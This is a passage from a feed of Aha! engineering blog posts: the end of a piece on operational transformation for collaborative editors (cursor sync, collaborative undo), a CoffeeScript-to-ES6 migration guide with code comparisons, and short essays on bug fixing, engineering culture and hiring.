We get back a right operation. And remember, we use that operation as the new left operation the next time around. So let's set the right operation to the left operation. Next, we take the bottom operation we got back, and add it to the bottom list.

Once we are done with a whole row, the last operation is the one we end up with, so we add it to our right list. This uses left_op, but at this point, left_op and right_op are equal.

And then, for the next time through the loop, our bottom list of operations becomes the new top list, and we keep going through. This is just like the second iteration we saw before.

And, when this is done, we return the right and bottom lists back to the user. Piece of cake, right?

Now, one upside — you probably will not have to ever write that yourself. And that is because control algorithms are generic. You could use that same function for all kinds of different apps and never have to change it. Your control algorithm doesn't care at all about what your operations actually do.

What should your operations actually do? Whatever your application wants!

As long as you can write transformation functions that do not violate the transformation properties, you can invent new operations all day. This is great because you can get closer and closer to representing what a person is actually doing.

But like everything, there is a tradeoff. The richer operations you have, the more operations you tend to have. And the more operations you have, the more transformation functions you have to write and the harder it is to get them right.

When I worked on this problem, I had 13 different operations and I ended up writing over a hundred transformation functions. But having more specific operations meant I could keep some really strong user intent when two people were editing the same part of the document.

How can you make collaboration easier?

There are some things you can do to make writing a collaborative editor easy and other things that can make it nearly impossible.

Think in operations, not state changes: If you are planning to transform operations, you have to speak in terms of operations — the actions a person can take. If you are only storing full document states, you might have a tough road ahead of you.

There are ways around this. You can sometimes look at diffs of your document and infer operations from them. But you lose a lot of user intent that way. Think "insert t at position 1" not "The document changed from a to at."

Keep things linear: It is much easier if you can treat your document as an array of things — characters, rich objects, whatever. To transform array indexes is just addition and subtraction. You can sometimes represent trees linearly, too. Just have items in your array that mean "enter subtree" or "exit subtree." In this case it is still easy to transform, but a little harder to work with.

An array of characters is easier to transform than hierarchical data, but it's not the worst thing if you have to transform trees. Instead of using indexes, you can use arrays of indexes. For example, this node could be reached by the path [1, 1] "child 1 of child 1."

Make your data as transformable as possible: Strings can be transformed pretty easily. You can figure out something to do with numbers, like add them. If you have conflicting edits to a custom object, though, your decisions are a lot harder.

How does this fit together?

We have document states. (Let's call them an array of characters to keep things simple.) Documents also have a version. Each client, as well as the server, has a copy of the document at a certain point.

You apply an operation on your own document right away so you do not have to wait to see it. Then you send it to a server, which sends it to other clients.

Sometimes, the server will say, "That is fine, I have not seen any new operations yet, my version is the same as yours." It will acknowledge your version, you update your document version, and everyone is in sync.

Other times, the server will say, "I cannot take that operation because I have seen a different document. But here are all the operations between your version and the one that I have."

When that happens, you transform those operations against yours because yours has already happened from your perspective. Remember? You ran it right away. Then, you apply the operations from the server, which you transformed, to your document.

Afterward, you transform your operation against all of the server's operations because, from the server's perspective, your operation happened after theirs. The server has not seen yours yet. Then you send that transformed version back to the server — hopefully, this time, the server will accept it. That process looks like the one shown below.

Now, everything is consistent. If there's more than one operation happening at the same time, we have to do a little more work but the idea is still the same.

What else do you need?

When you transform operations, you can build a text editor that can handle multiple people editing at the same time. But that is not quite enough to really deliver a great experience. And I will show you two reasons why.

First, if you have a few people editing the same document, it can seem to the user as though letters and words just appear out of nowhere. The user has no idea where to expect changes or what is about to happen until it happens. It would be nice if the cursors of the other people editing the document were visible so that users have some idea what to expect.

Second, let's say the user makes a mistake while typing and hits undo. There are two different changes the text editor could undo: Should it undo the last change you made? Or the last change anyone made?

Let's call the scenario where you only undo your own changes "local undo." And the second, where you can undo other people's changes "global undo."

If you have tried text editors with each of these different styles of undo, it quickly becomes obvious that local undo is what feels normal. If you type a character, undo should remove that character, regardless of what anyone else typed afterward. To have a great collaborative editor, we need to add cursor reporting and local undo.

Cursor synchronization

Let's start with a bit of a philosophical question. What is a cursor, really? If your document is a list of things, a cursor is really just an position in that array.

In the document below, you have "Hello" and my cursor is before the "e." You can say the cursor is at position 1. If it was after the "o," you would say it is at position 5.

What about other people's cursors? They can also be numbers, but you probably also want to know whose cursor is whose. You can attach some kind of identifier. We will just use a number and call it a client ID. So, there are two numbers: a position and a client id.

Now our document is a little more complicated but not too bad. We have our list of things, a version, our own cursor offset, and a list of remote cursors. This is enough that you could render your text editor and those cursors however you want.

What would happen when you add a character or delete a character? Let's go back to our first example, "cart." Let's say we are looking at our screen and client 2 left their cursor at position 2, in between "a" and "r."

And then we run the operation, "insert h at position 1." Now we have "chart." Where should it draw the cursor for client 2? It would make the most sense to keep it where it was — between "a" and "r," right?

So we can pretend that "place cursor at this position" is an operation, and we transform it against our "insert h at position 1" operation as shown below. We inserted a character before the cursor, so we move it over one spot.

This is our rule: Any time you perform an operation, you need to transform all the cursors you know about against that operation to keep them in the right place. These transformations tend to be pretty easy — most are exactly the same as the insert_text transformations since you are just moving a position in both of them.

Once you receive a cursor from another client, you need to know one other piece of information. What version of the document did that cursor come from?

If the cursor is a position on a document version your client has not seen yet, your client cannot draw it — because you do not have that document. The cursor could be pointing to position 15, but your document only has 10 characters. So you can hold onto the cursor for later (if you want) or ignore it and hope the other client sends it again later.

If the cursor placement is from an older version, it also might not apply to the current version of the document. When that happens, you could transform the cursor across all the operations between that version. For example, if your document is version 2 and you see a version 1 cursor, you could transform it against the operation that took your document from version 1 to version 2. Or you could also ignore it if you are expecting to see an updated cursor soon enough.

If the cursor is on the same version, you might think this is the all-clear. And it is… but only if the server has acknowledged all of your operations. But if you are at version 15, and another client's cursor is on version 15, but you have run an insert "h" operation that you have not sent to the server yet? Well, it looks like this.

You have to transform the other client's cursor against that operation. That client sent you a cursor at position 3 and you have to move it to position 4.

How about sending your cursor? You can send your cursor any time, as long as you have not made any changes that the server has not confirmed yet. Otherwise, your cursor might not make sense to clients and they will not know what to do. Once the server confirms your operations, you can start sending your cursor again.

Collaborative undo

Just like with cursors, to figure out how to handle local undo, we have to understand how undo usually works. Remember, we are thinking in operations — "insert ‘a' at position 3."

How would you undo that? You would run the operation, "remove ‘a' at position 3." How would you redo? You would run the operation, "insert ‘a' at position 3."

These two operations are inverses of each other — they cancel each other out. If you run an operation and then run its inverse, it is as though the original operation never happened. Which is exactly what you want with undo.

Undo also works like a stack. The last thing you did is the first thing you undo.

So, if our text editor was not collaborative, here is how you would apply an operation with undo:

You perform an operation, like "insert h before position 1."
You invert that operation, so it becomes "remove h at position 1."
Then, you push that inverted operation onto the undo stack.

What about when you hit undo?

You pop the operation ("remove h at position 1") off the stack.
You apply it as if you were performing it to begin with.
Then, if you want to support redo, you invert it again and push the inverse onto the redo stack.

Simple enough, right? Let's see how that breaks when other people are collaborating with you. You run "insert s, 4" — that pushes "remove s, 4" onto the undo stack. And you send the insert to the server.

A little bit later, the server sends you the operation, "insert h at 1" — this is not happening simultaneously, so you do not have to transform it. Now our state is "charts."

Now look at our undo stack. What would happen if you hit undo? You would run "remove s at 4" — but there is no "s" at position 4, right?

Clearly, we are missing a step. When you get the operation from the server, you need to transform all the operations in your undo stack against that operation. So, the undo stack is "remove s, 4." We receive "insert h, 1″ and have to transform the undo stack so it looks like "remove s, 5."

Now, when we undo, we run "remove s at 5" it deletes the "s" at position 5 and everything is great.

When you receive an operation, you have to transform the undo stack against that operation. Luckily, we already have a function (that big transform one from earlier) that is really good at transforming lists of operations against other lists of operations.

We can just use this:

def transform_stacks(remote_op)
  self.undos, _ = transform(self.undos, remote_op)
  self.redos, _ = transform(self.redos, remote_op)
end

Here is how collaborative local undo would work then:

When you perform an operation, invert it and push it on the stack.
When you receive an operation, transform the stack against it.
When you undo, pop the top item off the stack and run it, sending it to the collaboration server.

This mostly works, but it is not perfect. In fact, it can violate some rules that you should have with undo. For example, if every client undoes a set of operations and then redoes them, the document should be in the same state as it was originally. Sometimes, with this method, it is not.

But this is a pragmatic balance between complexity and good-enough behavior. And I am not the only one who thinks so — almost all collaborative text editors that I have used, including Google Docs, can fail undo in the exact same ways.

Putting it all together

The following is enough to make collaboration work with any kind of app. You start with a document, which can be as simple of an array of things, a version, a cursor, a list of remote cursors, and an undo stack. You have operations that act on that state, such as insert character and remove character. These operations know which version of the document they came from.

You have a set of transformation functions, which take two operations that happened at the same time and transform them so they can be run one after the other.

You have a control algorithm, which can take two lists of operations and transform each side against each other to come up with documents that end up in the same place. You have functions to transform cursors and functions to send and receive cursors, transforming them on the way in.

And you have an undo stack and a redo stack, which hold inverted operations that get transformed whenever a remote operation comes in.

When you perform an operation, you:

Apply it to your document.
Transform all the cursors against it.
Send it to the server.
Send your current selection once everything calms down.

When you receive an operation, you:

Transform your pending operations against it to complete the transformation square.
Apply the transformed operation to your document, and send your pending transformed operations to the server.
Transform all the cursors you know about against the operation you received and transformed.
Transform your undo stack against it as well.

When you change your cursor position and you have no pending operations:

Send your current cursor position.

When you get a cursor from someone else:

If the cursor is for an older version of the document, either ignore it, or transform it up to your current version.
If it is for the current version of the document, transform it against any pending operations.
If it is for a future version of the document, either ignore it or hold onto it until you see that version of the document.

Where to go next

There are a lot of ways to build collaborative applications, but this is a good one to start with. It works for all different kinds of apps, it is not too hard to build, and it is extremely flexible. It is a model you will see a lot of companies use.

But it is not perfect because:

This model needs a server to work.
There are some edge cases, especially around undo, that would add a lot of complexity if you want to fix them.

Depending on what you are building, there are other collaboration methods that might be easier or more correct. If you want to build peer-to-peer collaboration that does not rely on a central server, take a look into conflict-free replicated data types (CRDTs). Same thing if you are just dealing with plain text — CRDTs tend to be great at that. CRDTs are newer collaboration methods that fit some specific kinds of text editors really well and they are getting even better.

If you are using operational transformation and you do not want to write the server or control algorithm yourself, take a look at ShareDB. If you want to check out CRDTs, Y.js, Gun, and Automerge are all really cool projects.

Now, I love that we can do our jobs at Aha! remotely. Everyone on the team works from a home office — the entire company is fully distributed. And I love that remote work is becoming more and more popular.

It also makes some things harder. It can be difficult to work together on a project. And the worst part is, when things become hard, those projects sometimes do not happen at all. I like being able to get a group together to accomplish something bigger than ourselves. But I do not want to be worried that making a small change is going to wreck your big thing.

Collaborative editing is a magical experience. All of a sudden, this thing stops being just yours and it becomes ours.

I am confident in making changes because my contributions will not conflict with yours. And I want that magic to be there, everywhere I go, even if I do not use it all the time. Because two people working on the same thing should make the it better, not worse.

Ever since I joined the Aha! team, I have worked on some truly interesting projects. And I have only worked on a few of the many, many, many interesting projects we have going on at Aha!

So you like solving cool problems for great customers and you want to work for a fast-growing, remote, and profitable software company? We are hiring and I would love to collaborate with you.

Switching From CoffeeScript to ES6

Zach Schneider — Thu, 07 Sep 2017 00:00:00 GMT

Aha! is a Rails monolith. Although we have embraced front end technologies, such as webpack and React, Rails is the glue that holds everything together. And like many Rails monoliths, CoffeeScript made up the bulk of our front end code. It was the obvious choice for us when Aha! launched in 2013 — back when Rails 3 was stable and ES6 still lived in arcane specification documents.

But times change and technologies change. Fast forward to 2017 and ES6 has exploded and become (at minimum) the lingua franca for modern JavaScript development. Meanwhile, CoffeeScript began to fade out and its ecosystem stagnated — many of its companion tools have been deprecated or abandoned.

I still have a fond place in my heart for CoffeeScript. I have been writing it for years and it was a godsend in the world of pre-ES6 JavaScript. I am also convinced that ES6 lifted many of its best features directly out of CoffeeScript’s playbook. But honoring reality is essential to any engineering organization that wants to grow and expand, and the reality is that ES6 is on the rise and CoffeeScript is fading towards obscurity.

Our team at Aha! had several discussions about when it would be right to switch from CoffeeScript to ES6. While some of our developers were excited to make the change, our CTO was cautious. And rightly so — it is his job to be cautious.

Our existing code is fully functional and we have never had a feature that simply could not be written in CoffeeScript. Besides, all of our developers know how to write CoffeeScript. So there were some questions that kept popping up during our discussion.

What if ES6 hurts our productivity? What if the toolchain is not as stable? What if another language is the new hotness a few years after we make the switch, only to be left behind again? The JavaScript world is notoriously fickle and these were valid concerns that needed to be overcome.

But despite my fondness for CoffeeScript, it was clear to me that the time to change had arrived. To address our concerns and make the case for switching, I needed to lay out a full summary of ES6, how it compares to CoffeeScript, and the benefits and costs associated with making the change. I ended my summary with a proposal for how our team at Aha! might incrementally switch while minimizing risk in the process. Ultimately, I was successful. I presented the document at a team meeting and our CTO was on board with making the move.

I know that we are not the only ones to face this dilemma. This is why I adapted the summary I created for our team into a technical blog post. Hopefully, it is useful from the perspective of a Rails team seeking to keep up with front end best practices.

Of course, this post is not all-encompassing — ES6 is enormous and I wanted to focus on a particular set of factors that were most relevant for our team. Nevertheless, I hope it is useful for other folks in similar situations.

This post is laid out into four main sections:

Language features
Tooling
Direction
Approaching the switch

1. Language features

Nearly every major CoffeeScript feature has an ES6 analog. ES6 undeniably borrowed heavily from CoffeeScript’s language features and syntax. The two tend to feel very similar to me, as someone who learned CoffeeScript and then learned ES6. Yes, there are differences. No, I do not think it is a hard switch to make.

Var declaration

CoffeeScript does not require you to declare your variables. Just like Ruby, it implicitly declares them when they are used.

CoffeeScript

myVar = 'already here'

ES6 requires you to declare variables. A little more verbose, but nice because eslint can warn you when you are using an undeclared variable and catch your bugs (more on that later).

ES6 has two variable declarations: let and const. let is a variable you might want to reassign later, const cannot be reassigned. Currently, they are both transpiled to var, but once browsers catch up, there will be a performance boost for using const. Using const can also simplify the mental effort of programming. Since you know that variable will never be reassigned, you can rely on its value without having to hunt for mutations.

ES6

let myMutableVar = 'something';
myMutableVar = 'something else';

const myImmutableVar = 'something';
// this will error at eslint and/or transpilation
myImmutableVar = 'something else';

Destructuring

CoffeeScript

{a, b} = { a: 'something', b: 'something else' }

ES6

let { a, b } = { a: 'something', b: 'something else' };

Dynamic object keys

CoffeeScript

dynamicProperty = 'foo'
obj = {"#{dynamicProperty}": 'bar'}

ES6

let dynamicProperty = 'foo';
let obj = { [dynamicProperty]: 'bar' };

String interpolation

CoffeeScript

myInterpolatedString = "this string has a #{var}"

ES6

const myInterpolatedString = `this string has a ${var}`;

Anonymous functions

CoffeeScript

$('.mything').on 'click', (e) ->
  e.preventDefault()

ES6

$('.mything').on('click', (e) => {
  e.preventDefault();
});

Default function arguments

CoffeeScript

myFunc = (a = 'a') ->
  a

ES6

const myFunc = (a = 'a') => {
  return a;
}

Classes

Class examples shown here were taken from this excellent post introducing ES6 class structure to developers with a CoffeeScript background.

CoffeeScript

class Animal
  constructor: (@numberOfLegs) ->

  toString: ->
    "I am an animal with #{@numberOfLegs} legs"

class Monkey extends Animal
   constructor: (@numberOfBananas) ->
     super(2)

   toString: ->
     superString = super.toString()
       .replace(/an animal/, 'a monkey')
     "#{superString} and #{@numberOfLegs} bananas"

ES6

class Animal {
  constructor(numberOfLegs) {
    this.numberOfLegs = numberOfLegs
  }
  toString() {
    return `I am an animal with ${this.numberOfLegs} legs`
  }
}

class Monkey extends Animal {
  constructor(bananas) {
    super(2)
    this.bananas = bananas
  }
  toString() {
    let superString = super.toString()
      .replace(/an animal/, 'a monkey')
    return `${superString} and ${this.bananas} bananas`
  }
}

Bonus: ES6 classes have getters and setters.

class BananaStore {
  constructor(bananas) {
    this._bananas = bananas;
  }
  get bananas() {
    return this._bananas.filter( banana => banana.isRipe )
  }
  set bananas(bananas) {
    if (bananas.length > 100) {
      throw `Wow ${bananas.length} is a lot of bananas!`
    }
    this._bananas = bananas
  }
}

Significant white space

CoffeeScript has it; ES6 does not. I have come to the conclusion that significant white space is very bad for code readability (and thus productivity).

For example, this code snippet in CoffeeScript:

myArrayOfItems.forEach (item) =>
  newItemAttr = if item.foo then 'foo' else 'bar'

  item.attrs.forEach (attr) =>
    if attr.isHeader
      attr.set
        value: newItemAttr
        style: 'header'
    else
      attr.set
        value: newItemAttr
        style: 'body'

    attr.updated = true

Note that as the code grows, it becomes harder and harder to see what is on which line, and what is in which loop. Compare to the same code in ES6:

myArrayOfItems.forEach((item) => {
  const newItemAttr = item.foo ? 'foo' : 'bar';
  item.attrs.forEach((attr) => {
    if (attr.isHeader) {
      attr.set({
        value: newItemAttr,
        style: 'header',
      });
    } else {
      attr.set({
        value: newItemAttr,
        style: 'body',
      });
    }
    attr.updated = true;
  });
});

It is much easier to follow in ES6, in my opinion. On top of that, the consistency of the code is considerably improved.

If your team is anything like ours, you have some folks who write CoffeeScript like JavaScript (with parentheses, braces, and semicolons — even though punctuation is optional) and other folks who write CoffeeScript like python (without such punctuation). These inconsistencies create bugs, such as when you are trying to match the significant white space of an existing file and write bugs because you are not used to it. They also hurt readability and productivity because it is more difficult to comprehend inconsistent code.

Summary

ES6 is as good as CoffeeScript. There is nothing in CoffeeScript that you cannot express just as easily in ES6. There is no clear benefit to remaining in CoffeeScript, other than familiarity.

Classes are a little more full-featured in ES6. const/let are nice for reducing bugs because you can catch undefined/undeclared variables at build time instead of them erroring at runtime. And they will someday provide a bit of a performance boost. In my opinion, CoffeeScript’s significant white space hurts both readability and productivity.

Conversely, CoffeeScript syntax is more similar to Ruby, other than significant white space and a few other differences. And there is always a benefit to familiarity with the language you already use.

2. Tooling

Tooling is an area where I think ES6 clearly pulls ahead. Most of the CoffeeScript toolchain is aging or deprecated; ES6 tools are in much more active development and have already lapped CoffeeScript in significant functionality.

CoffeeScript:

CoffeeScript — The language/transpiler itself has some ongoing development, but it has been slow for the past few years.
Coffee-React — Every package that I am aware of that transpiles CJSX (JSX + CoffeeScript) relies on Coffee-React under the hood, but Coffee-React has been deprecated since October 2016. CoffeeScript 2 promises to provide native JSX support, but it has not yet been released and it remains to be seen whether CoffeeScript 2 will be stable and fully compatible with existing toolchains. The official documentation already warns that regular < and > operators may confuse the compiler, which strikes me as a red flag.
CoffeeLint — CoffeeScript linter, presented for comparison with ESLint. It does not really provide any bug-catching functionality. It mostly just provides guidelines on spacing and things like that. It is fairly actively developed, but it does not support CJSX. (There is a plugin to support CJSX, but it has not been updated since 2015.)

ES6:

Babel — The ES6 transpiler is under active development. They have a nice preset system for opt-in language features — the baseline configuration compiles basic ES6 and they have preset plugins for new language features as they come out (e.g. ES7 and beyond). This means your team will be able to take advantage of new functionality to improve code over time as JavaScript develops.
Babel React preset — JSX in ES6 is compiled using a Babel preset (plugin). It is under active development and officially supported by Facebook, so there is no risk of losing pace with React itself.
ESLint (ES6 linter) — You can opt in or out of various lints, similar to how RuboCop works for Ruby, and it can be extended with plugins, such as React. It can also catch things like undefined variables that could actually be causing bugs.

3. Direction

The front end development community has overwhelmingly chosen ES6 over CoffeeScript. To illustrate, here is a graph showing the number of downloads per week for babel-loader vs. coffee-loader. Presumably, everyone using ES6 with webpack is using babel-loader and vice versa. I originally compared babel to coffeescript, which was even more overwhelming, but I decided that was an unfair comparison since they’re more of a one-time download.

The image above also very much tracks with my observations — from the articles I read and new packages I see. If I were the benevolent dictator of front end development, free to crown a winner with no input from others, I likely would have chosen CoffeeScript. It was far ahead of its time and I still prefer many of its idioms to the equivalent versions borrowed by ES6. But it is clear to me that it has lost.

Given that ES6 has clearly pulled ahead, there are several benefits to aligning with the larger community. First and foremost, adopting a more widely used language means you continue to benefit from supported, quality open-source projects, as partially outlined above in the “tooling” section. Major players such as Facebook have fully jumped behind ES6, meaning that tools like Babel will remain robust and innovative into the future.

Second, there is an onboarding benefit. Especially if you are are hiring front end focused devs — they are much more likely to know ES6 as opposed to CoffeeScript, since ES6 has become the dominant language. So sticking with CoffeeScript becomes more and more of a tax on your new developers to learn a somewhat unfamiliar syntax.

Finally, there is a recruiting benefit. I do not really have a way to prove this with data, but I firmly believe that using CoffeeScript and broadcasting it in your job postings turns away candidates, especially expert front end candidates. From my perspective, CoffeeScript positions you as an older Rails shop with some front end candy tacked on — not a cutting-edge shop using the latest front end technology.

4. Approaching the switch

How should you go about making the switch? In my opinion, the best thing to do is to transition gradually.

Rewriting your entire codebase is an enormous project. It can slow down the pace of new features and create endless merge conflicts. With webpack (and even with Sprockets), it is fairly trivial to have CoffeeScript and ES6 code side-by-side in the same codebase.

For our team at Aha!, we decided to start with decreeing that all new development should happen in ES6, and continue by converting existing CoffeeScript code as it is convenient, such as when the file is modified or when there’s momentum to do so.

Depercolator is a great tool that we have used with a lot of success. It fully converts both CoffeeScript and CJSX, and it outputs code that ESLint is happy with so you get to start with a clean build. Once your CoffeeScript is gone, you can quietly disable the CoffeeScript portions of your configuration and enjoy your new codebase.

As outlined in this post, ES6 offers a number of advantages and a much more robust toolchain and community. At Aha!, we’re very happy with our choice to move to ES6. We are confident that it will allow us to keep delivering quality front end components and features to our customers for years to come.

I hope that this post helps your team navigate your own transition. Or maybe you want to help us write beautiful front end code in ES6 and React? We are always hiring skilled front end and Rails developers.

Smash More Bugs

Chris Waters — Tue, 06 Jun 2017 00:00:00 GMT

Drop everything. This is what our team does when a bug is found. Recently, a customer reported an issue in a new feature that had just gone live. We quickly identified the problem, fixed it, and sent an apology and an update to the customer. This was all within an hour. They replied, "When you fix sh*t that fast, there is no need to apologize."

For us, there is no such thing as a "trivial" bug. When a customer reports a problem, we drop everything to fix it immediately.

This is not typical behavior for a software engineering team. Most development teams capture bug reports, file them, and fix when the schedule allows. But that only introduces more issues. Because even though the bug is on the team’s radar, it is still out there in the world — irritating every customer who comes across it.

That is why we take a different approach — one that is driven by interruptions. It is part of a set of principles we pioneered and named The Responsive Method (TRM). This approach is centered around the belief that interactions with urgency move people and organizations forward.

If you are an engineer, you might find this concerning. Could this negatively impact production? The answer is "no" — interruptions are not addressed arbitrarily. Instead, we operate with an escalation tag team made up of a different set of engineers responsible for the interruptions each week. So, we consider who is on deck for escalations when we are planning feature development since we know that productivity on core development will be impacted.

If you are up that week, you know that your time will be punctuated by interruptions and can plan accordingly. It can actually be a refreshing change of pace to spend a week interacting directly with customers and working on solving issues.

So why do we go to such lengths to smash bugs immediately? We do it because it helps us:

Avoid technical debt

Technical debt occurs when we delay fixing problems for so long that it becomes impossible (or prohibitively expensive) to catch up. Fixing one small issue may only take 10 minutes, but facing a backlog of hundreds of small bugs can take hours or even days. An overwhelming list of small items turns into a psychological barrier to getting started. And so the bugs and debt keep piling up.

Solve unreported problems

If one customer is reporting a problem, we can only assume there are dozens more who did not report it. In fact, studies say that for every customer who bothers to complain, 26 other customers remain silent. So when customers speak out, we take action. If we did not address these reported problems immediately, who knows how many more users would stumble across them?

Reproduce problems

By tackling it immediately, we vastly improve our chances of reproducing the problem quickly — thus solving it quickly. But if we were to let a bug linger for weeks, it would be much tougher to reproduce it by the time we got around to working on it. We may not even be able to reproduce it at all. And we would never know if the problem went away because of code and data changes, or if we simply did not work out the correct sequence of actions to reproduce it.

Move everyone forward

As bugs pile up, so does the Customer Success team’s work. Over time, they will spend more time recognizing known problems than helping customers get ahead. Even worse, the same problem may end up being diagnosed multiple times and escalated multiple times. This is a huge waste of effort. But if we can fix the problem the first time we see it and get the fix deployed quickly, then we can avoid a huge amount of wasted time for everyone. This helps our Customer Success team move forward as well as our customers.

What happens to a bug that you see, but ignore? They buzz and multiply. And so does your customers’ frustration.

The only way to avoid this is to smash them immediately. Timely fixes will not go unnoticed, either. Customers base a great deal of their views of your company on how well you respond to trouble.

So, take quick action when you see trouble arise. This will not only earn customer love and loyalty, but it will also make your entire team more efficient and improve your product.

How does your company handle bug fixes?

This Developer Finds Joy in the Mundane

Chris Waters — Tue, 28 Feb 2017 00:00:00 GMT

I love fast food. It started as a teenager when I worked at McDonald’s in New Zealand. There were only a few locations back then and we were amazingly busy, with lines usually out the door at lunchtime. We made Big Macs as fast as we could — 12 at a time. Sure, the work itself was a little mundane. But it was strangely (and rewardingly) competitive.

For me, the joy came from the satisfaction of trying to go faster and faster while still making those perfectly standard (and highly demanded) burgers every time.

That early job taught me an important lesson: There is nothing menial about providing joy to customers and doing it over and over again.

I have carried this philosophy into my work as co-founder and CTO of Aha! But some of my greatest satisfaction still comes from the simple parts of what I do. This includes lesser-noticed tasks like getting UI elements pixel-perfect in their alignment or optimizing the last bit of performance from a SQL query.

Science backs up my way of thinking. In fact, researchers recently confirmed that workers are more likely to stick to a job — and be happy in it — when they find small pleasures in their daily routine.

If you are a software developer, it is important to find joy in the mundane. Here are three places to start:

Customer support

Support is often dismissed by engineers as being a less valuable use of time. However, I think that the opposite is the case in practice. Hearing problems directly from customers gets you to solutions faster. It also helps when customers share common failure modes and use-cases. This shows you where you can improve for the future while also giving you greater empathy for the customer.

Edge and failure cases

Thinking about the ways some code might fail is hard and requires a lot of concentration. It is also not very rewarding since you are spending time on something that most people will never experience. However, brittle software — software that breaks easily or unexpectedly — is never desirable. So when hiring at Aha! we always look for engineers who have that somewhat masochistic trait to keep pressing forward until even the most complex edge case is solved.

Polishing UI and UX

This requires a constant eye for detail and being unsatisfied with things that are almost right. Iterating on a user interface can be tedious, and different developers have a different tolerance for how many iterations they will go through. But the best UI developers are willing to stick at it for longer. And the result shows — but often not to the person using the feature. Users only tend to notice when a user interaction is not perfect. When it is perfect, it is unnoticeable.

Great developers know that some of the smallest and seemingly mundane tasks can have the biggest impact.

It is true that in any big project, there will be plenty of work that could be seen as tedious. But if you find that tedious work off-putting, it can be hard to get to completion. Alternatively, it can be easy to call something “done” without putting in that last bit of effort on the polish.

I learned this early on by delivering those perfectly standard burgers. And I am still pushing myself today to be better and faster — even when the work is at its most tedious. I would encourage you to do the same. Embracing your most mundane work will lead to great results. And I bet you will find joy in the process.

What small tasks bring you joy at work?

The New Normal for Your Engineering Teams

Alex Bartlow — Tue, 31 Jan 2017 00:00:00 GMT

I still remember the chaos of my first job. A new team with new challenges. Facing critical work decisions for the first time. But there was something else that added to the chaos — a cooked-up and manic code base. It made me feel more like a mad scientist than a software developer.

In simple terms, it was a customized Apache module. In more complex terms, it worked like this: It would run Perl code within CDATA tags in an XML file. And that file also contained the environmental details of the program. In effect, it was using Apache like a router. The files themselves as controller code, and then perl modules referenced within the files as both model and view.

The system was bespoke, clever, artisanal… and completely batty.

Thankfully my "mad scientist" days are behind me. Through the years, I have seen engineering teams take a more standardized, best-practice-driven approach. We certainly do at Aha! — as a result of our streamlined approach, it is not uncommon for new developers to start contributing code their first day on the job.

Yes, this standardized approach is becoming the new normal. And I think you will see things continue to get more "sane" in 2017.

Here are five forces driving this trend:

Infrastructure automation

We are moving away from the "human-follows-a-checklist" processes of yesteryear and becoming more automated. While the DevOps movement has been growing for some time, these technologies are reaching a maturity that lends themselves to becoming embedded in businesses of any size. This makes it easier to develop, test, and deploy changes.

Open source

The development world is becoming one large — and powerful — community. Through open source, our team is helping developers around the world find and fix bugs. And they are helping us too. Their feedback speeds up our troubleshooting and development. Leveraging open source contributions lets us focus on providing value, rather than reinventing the wheel.

Peer review

We are also emphasizing community within our team. Our regular code reviews play a big part in that. Not only do these reviews ensure quality for our work, but they also create a sense of camaraderie by getting multiple people involved in every feature we develop. Another advantage of code reviews it that they give us a chance to share and teach each other new techniques, patterns, and tools. This is invaluable for building a learning organization.

Cross-functional work

And the community building does not end there. We work closely with all Aha! teams, including Customer Success, UX, and Product Management. We know that everyone has to be on board to make the end-product a success. That is why every engineer plays a role in the process of supporting our customers. Engineers even lead a live customer demo as part of their on-boarding process (along with everyone else at Aha!). The last thing we want is to be disconnected from the rest of the organization — or from our customers.

Remote work

This is an incredible competitive advantage. For one, it gives us a deeper talent pool — working with people not just in the United States but also in Canada, New Zealand, and Australia. By having highly trained developers stationed around the world, we have 24/7 operational coverage. So when a solution comes to me at 11 p.m. at night EST, there is always someone else up and available to talk it through.

We will all accomplish more through collaboration. And by shedding our "mad scientist" ways for a saner approach.

But it’s not just the engineering team at Aha! that has embraced this new normal. We all know that the quickest way to innovate is by having a clear vision and collaborating on the execution — both inside and across teams.

What will your engineering teams see more of this year?

The 4 Qualities of Engineers This CTO Loves to Hire

Chris Waters — Fri, 06 Jan 2017 00:00:00 GMT

When I first learned to program, I did not have a computer. I wrote everything out on paper and just imagined what would happen when it ran. (This was back in the days when magazines actually had code listings for you to type into your Commodore 64 or Apple II, and the only storage was on cassette tapes.)

The first computer I owned was a Macintosh 512K. It took about five minutes to boot off a floppy and you spent all your time swapping floppy disks. Many people found those early computers to be incredibly frustrating. I loved them.

I was fascinated by the technology and wanted to keep learning more.

As a co-founder of Aha! I enjoy hiring people that have the same sense of wonder for what could be around the next corner as I do. Our engineers share an adventurous spirit and love for what we do. I am proud of what we have accomplished so far, and we are always looking for more like-minded Aha!s who want to join us in the work we do.

People often ask me what we look for in engineers. So, I figured I would write it up because I think these are important qualities for anyone interested in joining a rapidly growing company.

When hiring engineers, here are the four qualities that matter most to me:

Passion

We want people for whom writing software is the most rewarding thing they know. Writing code generates a mental high, which makes them want to keep doing it. They keep going even when the work is frustrating and difficult, and they consider finding solutions and making new discoveries to be fun. This kind of passion is a necessary ingredient. It helps to create a virtuous cycle of learning and productivity, which leads to better skills.

Curiosity

In this field, you are never "done." There is always something new to learn or improve upon. That is why we look for people who are always unsatisfied with their understanding of how their software works and are instead constantly wondering "why?" These individuals want to continually expand their knowledge and push their own boundaries. That kind of inquisitiveness is contagious to others on the team, and it ultimately benefits our customers in the form of continued enhancements and new features.

Demonstrated collaboration

The key part here is "demonstrated." We use a candidate’s GitHub profile to understand whether they have made open-source contributions and whether they have given feedback or reported bugs to other open-source projects. We also want to discover whether they can work with others who they may have never met face-to-face. Of course, GitHub is not the only way that people communicate. But for someone making a hiring decision, seeing evidence of past collaboration can make it easier to arrive at a "yes" decision.

Humility

Software engineering has its fair share of arrogant personalities (just like any high-profile profession). But learning and cooperation are essential to long-term success. Those can only come if you have enough humility to realize that you can learn from those around you. Despite the logical aspects of building software, engineering is a field where you are often choosing the "least-worst alternative." Opinion and judgment are often the only tools we can use to make a decision. Being able to see other points of view — and even accepting a decision that you do not necessarily agree with — is important.

There are, of course, other core skills and attributes that factor into our hiring decisions. But I have learned that these four qualities are critical for success on our engineering team — and they are very much interconnected.

As I pointed out, I wrote this because I am often asked what I focus on, but these characteristics are not limited to the engineering team. Every Aha! team member has a critical passion for their craft. We look for smart people who admit they do not have all the answers and want to constantly improve their skills and share that knowledge with others.

And a humble confidence must be present as well. It helps us to build a strong team of high achievers who respect and challenge each other to get better and better.

What qualities do you think are most important for software engineers?

6 Common Misconceptions About Engineers, Debunked

Zach Schneider — Thu, 07 Jul 2016 00:00:00 GMT

